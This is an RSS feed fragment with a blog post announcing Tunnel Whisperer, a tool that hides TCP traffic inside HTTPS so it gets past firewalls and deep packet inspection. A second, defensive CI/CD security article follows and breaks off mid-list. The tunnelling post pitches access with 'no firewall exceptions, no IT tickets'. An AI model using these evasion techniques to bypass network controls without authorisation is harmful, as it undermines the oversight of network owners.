      <pubDate>Fri, 06 Mar 2026 15:54:27 +0000</pubDate>
      <link>https://forem.com/alialp/introducing-tunnel-whisperer-surgical-connectivity-for-networks-that-say-no-4hoe</link>
      <guid>https://forem.com/alialp/introducing-tunnel-whisperer-surgical-connectivity-for-networks-that-say-no-4hoe</guid>
      <description>&lt;p&gt;&lt;em&gt;Your MRI scanner needs to talk to a cloud AI platform. Your vendor needs to reach a single maintenance port on a factory-floor PLC. Your data scientist needs to query an on-premise database from a cloud notebook. The firewall says no to all of them.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Tunnel Whisperer says yes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/Tunnel-Whisperer/Tunnel-Whisperer" rel="noopener noreferrer"&gt;Github page&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem Nobody Talks About
&lt;/h2&gt;

&lt;p&gt;Enterprise networks are getting stricter. Firewalls block everything except port 443. Deep Packet Inspection kills anything that doesn't look like genuine HTTPS. Legacy devices — hospital scanners, industrial controllers, aging servers — can't run modern VPN clients. And even if you could install one, IT won't open a single inbound port.&lt;/p&gt;

&lt;p&gt;This is the &lt;strong&gt;Connectivity Gap&lt;/strong&gt;: the space between what your applications need and what your network allows.&lt;/p&gt;

&lt;p&gt;Traditional solutions don't fit:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;VPNs&lt;/strong&gt; (WireGuard, Tailscale) require UDP ports or custom protocols — blocked by DPI.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reverse proxies&lt;/strong&gt; (ngrok) expose services to the public internet — a non-starter for healthcare and manufacturing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH tunnels&lt;/strong&gt; get flagged and dropped by next-gen firewalls.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We built Tunnel Whisperer to close this gap.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is Tunnel Whisperer?
&lt;/h2&gt;

&lt;p&gt;Tunnel Whisperer is an open-source tool that creates &lt;strong&gt;resilient, port-to-port bridges&lt;/strong&gt; across separated private networks. It wraps your TCP traffic inside a genuine TLS-encrypted HTTPS stream using Xray's VLESS+XHTTP protocol. To the network, it looks exactly like someone browsing a website.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client Network             Public Cloud               Server Network
+--------------+        +------------------+        +--------------+
|  tw connect  |--443--&amp;gt;|     Relay VM     |&amp;lt;--443--|   tw serve   |
|              |  HTTPS |  Caddy + Xray    |  HTTPS |              |
| local ports  |        |  (reverse proxy) |        | SSH server   |
| :5432 :3389  |        |  Firewall: 80+443|        | port fwd     |
+--------------+        +------------------+        +--------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your PostgreSQL client connects to &lt;code&gt;localhost:5432&lt;/code&gt;. Your RDP client connects to &lt;code&gt;localhost:3389&lt;/code&gt;. The traffic flows through an HTTPS tunnel to the server network, where it reaches the actual services. The applications on both ends have no idea a tunnel exists.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why We Built It
&lt;/h2&gt;

&lt;p&gt;We kept running into the same scenario: a customer with a legitimate connectivity need, a network that blocks everything, and no tool that threads the needle between "too broad" (VPN) and "too public" (ngrok).&lt;/p&gt;

&lt;p&gt;Tunnel Whisperer is designed around three principles:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Surgical access, not broad connectivity.&lt;/strong&gt; Each user gets access to exactly the ports they need — nothing more. No host-to-host networking, no route tables, no exposure of adjacent services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Invisible to the network.&lt;/strong&gt; The traffic is indistinguishable from regular HTTPS. No special ports, no unusual protocols, no signatures for DPI to flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Zero trust at the relay.&lt;/strong&gt; The relay VM is a dumb pipe. It stores no SSH keys, no passwords, no application data. If it gets compromised, the attacker gets nothing useful — all plaintext remains encrypted by the SSH layer inside the tunnel.&lt;/p&gt;




&lt;h2&gt;
  
  
  How It Works: Three Layers of Encryption
&lt;/h2&gt;

&lt;p&gt;Tunnel Whisperer stacks three encryption layers, each serving a different purpose:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;What It Does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;TLS 1.3&lt;/strong&gt; (outer)&lt;/td&gt;
&lt;td&gt;Makes the traffic look like HTTPS. Caddy handles automatic Let's Encrypt certificates on the relay.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Xray VLESS + XHTTP&lt;/strong&gt; (middle)&lt;/td&gt;
&lt;td&gt;Routes users by UUID through the relay. XHTTP splits data into standard HTTP requests for resilience against connection timeouts.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;SSH Ed25519&lt;/strong&gt; (inner)&lt;/td&gt;
&lt;td&gt;End-to-end encryption between client and server. Public-key only — no passwords, no brute-force surface. Per-user &lt;code&gt;permitopen&lt;/code&gt; restrictions lock each client to specific ports.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The relay terminates TLS but never sees the SSH-encrypted payload. Even if someone owns the relay, they can't read your data.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Use Cases
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Healthcare: DICOM Through a Firewall
&lt;/h3&gt;

&lt;p&gt;A hospital's MRI scanner needs to send images to a cloud AI platform for analysis. The scanner speaks DICOM on port 104 and can't install any software. Tunnel Whisperer runs on a gateway machine on the scanner's LAN, forwarding port 104 through the HTTPS tunnel to the cloud. The scanner sends to &lt;code&gt;localhost:104&lt;/code&gt; as if the AI platform were next door.&lt;/p&gt;

&lt;h3&gt;
  
  
  Manufacturing: Vendor Access to a Single Port
&lt;/h3&gt;

&lt;p&gt;A machine vendor needs remote access to a PLC's maintenance port for diagnostics. Instead of a VPN that exposes the entire factory network, Tunnel Whisperer gives them access to exactly one port on one device. When the job is done, revoke the key — access gone.&lt;/p&gt;

&lt;h3&gt;
  
  
  Data Science: Cloud Notebook to On-Premise Database
&lt;/h3&gt;

&lt;p&gt;A data scientist running Jupyter in the cloud needs to query a PostgreSQL database behind a corporate firewall. With Tunnel Whisperer, they connect to &lt;code&gt;localhost:5432&lt;/code&gt; and run queries as if the database were local. No VPN client, no firewall exceptions, no IT tickets.&lt;/p&gt;




&lt;h2&gt;
  
  
  Getting Started in 5 Minutes
&lt;/h2&gt;

&lt;p&gt;Tunnel Whisperer ships as a single binary for Linux, Windows, and macOS. Build from source with Go 1.25+:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;make build          &lt;span class="c"&gt;# builds bin/tw&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Server Side
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tw dashboard                &lt;span class="c"&gt;# open the web UI&lt;/span&gt;
tw create relay-server      &lt;span class="c"&gt;# 8-step wizard: provision a relay VM&lt;/span&gt;
tw create user              &lt;span class="c"&gt;# 5-step wizard: create a client with port restrictions&lt;/span&gt;
tw serve                    &lt;span class="c"&gt;# start the server&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The relay provisioning wizard handles everything: spinning up a VM on Hetzner, DigitalOcean, or AWS, configuring Caddy for TLS, installing Xray, and locking down the firewall to ports 80 and 443 only.&lt;/p&gt;

&lt;h3&gt;
  
  
  Client Side
&lt;/h3&gt;

&lt;p&gt;The server admin sends you a config bundle (a zip file with your config and SSH keys). Then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tw dashboard                &lt;span class="c"&gt;# drag-and-drop the zip file&lt;/span&gt;
tw connect                  &lt;span class="c"&gt;# you're in&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. Your configured ports are now available on localhost with automatic reconnection if the connection drops.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Web Dashboard
&lt;/h2&gt;

&lt;p&gt;Both server and client modes come with a browser-based dashboard for managing everything visually:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Server dashboard&lt;/strong&gt; — create users, provision relays, monitor connected clients, stream logs in real-time, and open an interactive SSH terminal to the relay — all from the browser.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Client dashboard&lt;/strong&gt; — upload config bundles, connect/disconnect with one click, and see your active tunnels with bandwidth stats.&lt;/p&gt;

&lt;p&gt;No separate web app to deploy. The dashboard is embedded in the same &lt;code&gt;tw&lt;/code&gt; binary.&lt;/p&gt;




&lt;h2&gt;
  
  
  Per-User Access Control
&lt;/h2&gt;

&lt;p&gt;Every user gets:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;unique Xray UUID&lt;/strong&gt; for relay routing&lt;/li&gt;
&lt;li&gt;An &lt;strong&gt;Ed25519 key pair&lt;/strong&gt; for SSH authentication&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;&lt;code&gt;permitopen&lt;/code&gt; directive&lt;/strong&gt; restricting them to specific ports
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# authorized_keys (auto-generated)
permitopen="127.0.0.1:5432",permitopen="127.0.0.1:3389" ssh-ed25519 AAAA... alice
permitopen="127.0.0.1:104" ssh-ed25519 AAAA... vendor-dicom
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alice can reach PostgreSQL and RDP. The vendor can reach the DICOM port. Neither can reach anything else. Revoking access is instant — remove the key from &lt;code&gt;authorized_keys&lt;/code&gt; and the UUID from the relay config. No server restart needed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Built for Resilience
&lt;/h2&gt;

&lt;p&gt;Connections drop. Networks hiccup. Tunnel Whisperer handles it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Auto-reconnection&lt;/strong&gt; with exponential backoff (2s up to 30s max)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH keepalive&lt;/strong&gt; every 15 seconds to detect dead connections early&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XHTTP transport&lt;/strong&gt; splits data into HTTP requests, surviving connection resets that would kill WebSocket-based tunnels&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;System service mode&lt;/strong&gt; (&lt;code&gt;tw service install&lt;/code&gt;) for auto-start on boot — Linux systemd, Windows SCM, or macOS launchd&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Performance
&lt;/h2&gt;

&lt;p&gt;We won't pretend there's zero overhead. Two relay hops and three encryption layers have a cost. Here are real numbers from our benchmarks (relay on Hetzner, ~30ms RTT):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Direct SSH&lt;/th&gt;
&lt;th&gt;Tunnel Whisperer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Throughput&lt;/strong&gt; (100 MB transfer)&lt;/td&gt;
&lt;td&gt;112 MB/s&lt;/td&gt;
&lt;td&gt;21 MB/s (~168 Mbps)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Database TPS&lt;/strong&gt; (pgbench, 50 clients)&lt;/td&gt;
&lt;td&gt;~1,790&lt;/td&gt;
&lt;td&gt;~80-95&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Database latency&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~28 ms&lt;/td&gt;
&lt;td&gt;~530-630 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Tunnel Whisperer excels at &lt;strong&gt;bulk transfers, streaming, and interactive sessions&lt;/strong&gt; where human-speed interaction or continuous data flow hides the latency. For high-frequency RPC workloads with many small round-trips, you'll want to use connection pooling and place the relay geographically close to both endpoints.&lt;/p&gt;

&lt;p&gt;The tradeoff is clear: you lose raw speed, but you gain connectivity where no other tool can get through.&lt;/p&gt;




&lt;h2&gt;
  
  
  How It Compares
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Tunnel Whisperer&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;
&lt;strong&gt;VPNs&lt;/strong&gt; (Tailscale/WireGuard)&lt;/th&gt;
&lt;th&gt;
&lt;strong&gt;Reverse Proxies&lt;/strong&gt; (ngrok)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Scope&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Surgical (port-to-port)&lt;/td&gt;
&lt;td&gt;Broad (host-to-host)&lt;/td&gt;
&lt;td&gt;Public (port-to-web)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DPI Resistance&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High (genuine HTTPS)&lt;/td&gt;
&lt;td&gt;Low (custom protocols)&lt;/td&gt;
&lt;td&gt;Medium (standard HTTPS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Deployment&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gateway/sidecar&lt;/td&gt;
&lt;td&gt;Agent on every host&lt;/td&gt;
&lt;td&gt;Dev/test&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Infrastructure&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Self-hosted&lt;/td&gt;
&lt;td&gt;SaaS/hybrid&lt;/td&gt;
&lt;td&gt;SaaS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Relay Compromise&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No credential exposure&lt;/td&gt;
&lt;td&gt;Varies&lt;/td&gt;
&lt;td&gt;Provider-dependent&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;Tunnel Whisperer is currently in &lt;strong&gt;alpha&lt;/strong&gt;. The core tunnel, user management, dashboard, and multi-cloud relay provisioning are all working. Here's where we're heading:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;UDP support&lt;/strong&gt; for protocols that need it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Multi-relay&lt;/strong&gt; topologies for geographic distribution&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Observability&lt;/strong&gt; — OpenTelemetry-format logging is already in progress&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pre-built binaries&lt;/strong&gt; and package manager distribution&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Get Involved
&lt;/h2&gt;

&lt;p&gt;Tunnel Whisperer is MIT-licensed and open source.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/Tunnel-Whisperer/Tunnel-Whisperer" rel="noopener noreferrer"&gt;github.com/Tunnel-Whisperer/Tunnel-Whisperer&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Documentation:&lt;/strong&gt; &lt;a href="https://tunnel-whisperer.github.io/Tunnel-Whisperer" rel="noopener noreferrer"&gt;tunnel-whisperer.github.io/Tunnel-Whisperer&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Video Tutorial:&lt;/strong&gt; &lt;a href="https://www.youtube.com/watch?v=cIe0-C1IMe4" rel="noopener noreferrer"&gt;Watch the walkthrough on YouTube&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you've ever stared at a firewall rule that blocks everything and thought "there has to be a better way" — give Tunnel Whisperer a try. We'd love your feedback, bug reports, and contributions.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Tunnel Whisperer — because sometimes the only way through is to whisper.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>productivity</category>
      <category>security</category>
      <category>opensource</category>
    </item>
    <item>
      <title>A practical, governance-first framework for turning your CI/CD pipeline into a secure, reproducible, and audit-defensible supply chain control point.</title>
      <dc:creator>Ali Alp</dc:creator>
      <pubDate>Fri, 13 Feb 2026 13:56:25 +0000</pubDate>
      <link>https://forem.com/alialp/a-practical-governance-first-framework-for-turning-your-cicd-pipeline-into-a-secure-4eaa</link>
      <guid>https://forem.com/alialp/a-practical-governance-first-framework-for-turning-your-cicd-pipeline-into-a-secure-4eaa</guid>
      <description>&lt;div class="ltag__link"&gt;
  &lt;a href="/alialp" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__pic"&gt;
      &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F75246%2F73159765-d92c-4500-bf44-2ccb5ddca661.jpg" alt="alialp"&gt;
    &lt;/div&gt;
  &lt;/a&gt;
  &lt;a href="https://dev.to/alialp/scripted-ci-governing-your-build-pipeline-as-critical-infrastructure-5gaf" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__content"&gt;
      &lt;h2&gt;SCRIPTED CI: Governing Your Build Pipeline as Critical Infrastructure&lt;/h2&gt;
      &lt;h3&gt;Ali Alp ・ Feb 13&lt;/h3&gt;
      &lt;div class="ltag__link__taglist"&gt;
        &lt;span class="ltag__link__tag"&gt;#devops&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#cicd&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#security&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#productivity&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/a&gt;
&lt;/div&gt;


</description>
      <category>devops</category>
      <category>cicd</category>
      <category>security</category>
      <category>productivity</category>
    </item>
    <item>
      <title>SCRIPTED CI: Governing Your Build Pipeline as Critical Infrastructure</title>
      <dc:creator>Ali Alp</dc:creator>
      <pubDate>Fri, 13 Feb 2026 13:50:52 +0000</pubDate>
      <link>https://forem.com/alialp/scripted-ci-governing-your-build-pipeline-as-critical-infrastructure-5gaf</link>
      <guid>https://forem.com/alialp/scripted-ci-governing-your-build-pipeline-as-critical-infrastructure-5gaf</guid>
      <description>&lt;p&gt;CI/CD pipelines are amazing.&lt;/p&gt;

&lt;p&gt;They build, test, package, sign, and ship our software in minutes. They automate what used to take days. They make modern development possible.&lt;/p&gt;

&lt;p&gt;They also sit at one of the most dangerous control points in your entire system.&lt;/p&gt;

&lt;p&gt;If you build regulated, safety-critical, or security-sensitive software, your CI pipeline is not “just automation.” It executes code, holds secrets, produces artifacts, and pushes to production.&lt;/p&gt;

&lt;p&gt;That makes it part of your product’s trust boundary.&lt;/p&gt;

&lt;p&gt;So the real question isn’t:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Is our application secure?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It’s this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Is our build system defensible?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That’s where &lt;strong&gt;SCRIPTED CI&lt;/strong&gt; comes in.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why CI Is a Supply Chain Control Point
&lt;/h2&gt;

&lt;p&gt;Most teams spend their security energy on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Application security testing&lt;/li&gt;
&lt;li&gt;API authentication&lt;/li&gt;
&lt;li&gt;Infrastructure hardening&lt;/li&gt;
&lt;li&gt;Runtime monitoring&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All important.&lt;/p&gt;

&lt;p&gt;But CI pipelines quietly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Execute third-party code (GitHub Actions, plugins, integrations)&lt;/li&gt;
&lt;li&gt;Access privileged credentials (cloud roles, signing keys, tokens)&lt;/li&gt;
&lt;li&gt;Produce signed release artifacts&lt;/li&gt;
&lt;li&gt;Modify repository state&lt;/li&gt;
&lt;li&gt;Pull dependencies dynamically&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If an attacker compromises your CI, they don’t need to break your runtime.&lt;/p&gt;

&lt;p&gt;They can modify your build.&lt;/p&gt;

&lt;p&gt;And if your build is compromised, your product is compromised.&lt;/p&gt;

&lt;p&gt;That’s a supply chain problem.&lt;/p&gt;




&lt;h2&gt;
  
  
  The SCRIPTED Model
&lt;/h2&gt;

&lt;p&gt;SCRIPTED is a governance-first way to think about CI security.&lt;br&gt;
It turns abstract “best practices” into enforceable controls.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Letter&lt;/th&gt;
&lt;th&gt;Principle&lt;/th&gt;
&lt;th&gt;What It Means&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;S&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Secure Secrets&lt;/td&gt;
&lt;td&gt;Minimize and scope credentials in CI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;C&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Control Execution&lt;/td&gt;
&lt;td&gt;Only run approved, immutable code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;R&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Repeatable Builds&lt;/td&gt;
&lt;td&gt;Make builds deterministic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;I&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Isolated Runtime&lt;/td&gt;
&lt;td&gt;Harden where builds execute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;P&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Policy Enforcement&lt;/td&gt;
&lt;td&gt;Automate guardrails&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;T&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Traceability&lt;/td&gt;
&lt;td&gt;Make artifacts verifiable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;E&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Evidence&lt;/td&gt;
&lt;td&gt;Be able to prove your controls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;D&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Defensible Design&lt;/td&gt;
&lt;td&gt;Encode security in the system, not the process&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Let’s walk through it.&lt;/p&gt;


&lt;h2&gt;
  
  
  S — Secure Secrets
&lt;/h2&gt;

&lt;p&gt;CI pipelines often accumulate powerful credentials:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;GITHUB_TOKEN&lt;/code&gt; with write access&lt;/li&gt;
&lt;li&gt;Cloud deployment roles&lt;/li&gt;
&lt;li&gt;Container registry credentials&lt;/li&gt;
&lt;li&gt;Code signing certificates&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The default mistake? Over-permissioned tokens.&lt;/p&gt;

&lt;p&gt;Instead of this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write-all&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Do this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
  &lt;span class="na"&gt;packages&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Other guardrails:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Don’t expose secrets to fork-based PR workflows&lt;/li&gt;
&lt;li&gt;Use short-lived identities (OIDC) instead of static cloud keys&lt;/li&gt;
&lt;li&gt;Separate build credentials from deployment credentials&lt;/li&gt;
&lt;li&gt;Audit token usage regularly&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If a job doesn’t need a permission, it shouldn’t have it.&lt;/p&gt;

&lt;p&gt;Simple. Structural. Defensible.&lt;/p&gt;




&lt;h2&gt;
  
  
  C — Control Execution
&lt;/h2&gt;

&lt;p&gt;CI runs code. Sometimes that code is yours. Sometimes it’s not.&lt;/p&gt;

&lt;p&gt;Marketplace actions and plugins are convenient. They’re also external code entering your trust boundary.&lt;/p&gt;

&lt;p&gt;This is unsafe:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why? Because tags can move.&lt;/p&gt;

&lt;p&gt;This is safer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@8f4b7f84864484a7bf31766abe9204da3cbe65b3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pin to a commit SHA.&lt;/p&gt;

&lt;p&gt;That makes the reference immutable.&lt;/p&gt;

&lt;p&gt;Stronger moves:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Mirror critical actions into your own org&lt;/li&gt;
&lt;li&gt;Vendor high-risk actions locally&lt;/li&gt;
&lt;li&gt;Maintain an allowlist of approved actions&lt;/li&gt;
&lt;li&gt;Automatically fail builds that reference unpinned actions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Immutable references eliminate silent drift.&lt;/p&gt;




&lt;h2&gt;
  
  
  R — Repeatable Builds
&lt;/h2&gt;

&lt;p&gt;If you rebuild a release from two years ago, do you get the same binary?&lt;/p&gt;

&lt;p&gt;If not, you don’t have reproducibility.&lt;/p&gt;

&lt;p&gt;And without reproducibility, you don’t have defensibility.&lt;/p&gt;

&lt;p&gt;Instead of:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; node:latest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; node@sha256:...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enforce lockfiles (&lt;code&gt;go.sum&lt;/code&gt;, &lt;code&gt;package-lock.json&lt;/code&gt;, etc.)&lt;/li&gt;
&lt;li&gt;Pin toolchain versions&lt;/li&gt;
&lt;li&gt;Eliminate dynamic dependency resolution&lt;/li&gt;
&lt;li&gt;Avoid runtime internet downloads during build&lt;/li&gt;
